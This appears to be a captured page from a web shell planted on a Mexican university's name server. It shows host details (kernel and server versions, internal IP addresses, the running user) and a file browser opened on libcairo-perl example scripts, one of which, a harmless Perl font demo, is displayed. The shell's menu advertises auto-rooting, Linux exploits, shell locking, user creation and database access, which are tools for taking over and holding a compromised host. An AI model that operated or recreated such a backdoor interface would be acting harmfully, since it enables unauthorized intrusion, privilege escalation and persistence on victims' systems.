Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libcairo-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
png
[ DIR ]
drwxr-xr-x
freetype-font.pl
761
B
-rw-r--r--
glyph-text.pl
1.25
KB
-rw-r--r--
mime-unique-id.pl
6.33
KB
-rwxr-xr-x
pdf-tagged-text.pl
7.01
KB
-rwxr-xr-x
png-streams.pl
693
B
-rw-r--r--
simple.pl
1.24
KB
-rw-r--r--
subclassing.pl
1.06
KB
-rw-r--r--
twisted-text.pl
8.18
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : freetype-font.pl
#!/usr/bin/perl use strict; use warnings; use Cairo; unless (Cairo::HAS_FT_FONT && eval 'use Font::FreeType; 1;') { die 'need Cairo with FreeType support and Font::FreeType'; } # my $file = '/usr/share/fonts/truetype/ttf-inconsolata/Inconsolata.otf'; my $file = '/usr/share/fonts/truetype/ttf-bitstream-vera/Vera.ttf'; unless (-r $file) { die 'Can\'t find font file'; } my $ft_face = Font::FreeType->new->face ($file); my $cr_face = Cairo::FtFontFace->create ($ft_face); my $surface = Cairo::ImageSurface->create ('argb32', 200, 40); my $cr = Cairo::Context->create ($surface); $cr->set_font_face ($cr_face); $cr->set_font_size (23); $cr->move_to (20, 25); $cr->show_text ('Hello, world!'); $cr->show_page; $surface->write_to_png ('freetype-font.png');
Close